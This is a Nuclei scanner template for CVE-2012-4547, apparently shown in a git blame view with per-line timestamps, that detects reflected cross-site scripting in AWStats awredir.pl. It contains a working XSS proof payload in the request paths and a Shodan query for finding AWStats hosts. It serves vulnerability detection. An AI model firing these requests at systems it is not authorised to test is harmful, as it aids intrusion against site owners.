2022-01-21 11:07:41 +00:00
|
|
|
id: CVE-2012-4547
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting
|
|
|
|
author: dhiyaneshDk
|
|
|
|
severity: medium
|
|
|
|
description: AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Allows remote attackers to inject arbitrary web script or HTML via the 'url' parameter.
|
2022-01-21 11:07:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/36164
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2012-4547
|
2022-05-17 09:18:12 +00:00
|
|
|
- http://awstats.sourceforge.net/docs/awstats_changelog.txt
|
|
|
|
- http://openwall.com/lists/oss-security/2012/10/29/7
|
2023-07-11 19:49:27 +00:00
|
|
|
- http://openwall.com/lists/oss-security/2012/10/26/1
|
2022-02-21 22:45:04 +00:00
|
|
|
classification:
|
2022-09-06 01:33:31 +00:00
|
|
|
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
|
2023-04-18 02:40:53 +00:00
|
|
|
cvss-score: 4.3
|
2022-02-21 22:45:04 +00:00
|
|
|
cve-id: CVE-2012-4547
|
2022-09-06 01:33:31 +00:00
|
|
|
cwe-id: CWE-79
|
2023-07-11 19:49:27 +00:00
|
|
|
epss-score: 0.0023
|
2024-01-29 17:11:14 +00:00
|
|
|
epss-percentile: 0.61246
|
2023-09-06 13:22:34 +00:00
|
|
|
cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: laurent_destailleur
|
|
|
|
product: awstats
|
2024-05-31 19:23:20 +00:00
|
|
|
shodan-query: cpe:"cpe:2.3:a:laurent_destailleur:awstats"
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2012,cve,xss,awstats,edb,laurent_destailleur
|
2022-01-21 11:07:41 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-01-21 11:07:41 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'
|
|
|
|
- '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
2023-07-11 19:49:27 +00:00
|
|
|
|
2022-01-21 11:07:41 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "<script>alert(document.domain)</script>"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2022-02-21 22:45:04 +00:00
|
|
|
- 200
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 490a0046304402204f8f92c2922899207b46b0a7414d8ae6906729368cc5236e2709a80e69c61fa302201b58818ce7172c2d55376f5399cc320d825a21d5e47e73801a0e651c60b21217:922c64590222798bb761d5b6d8e72950
|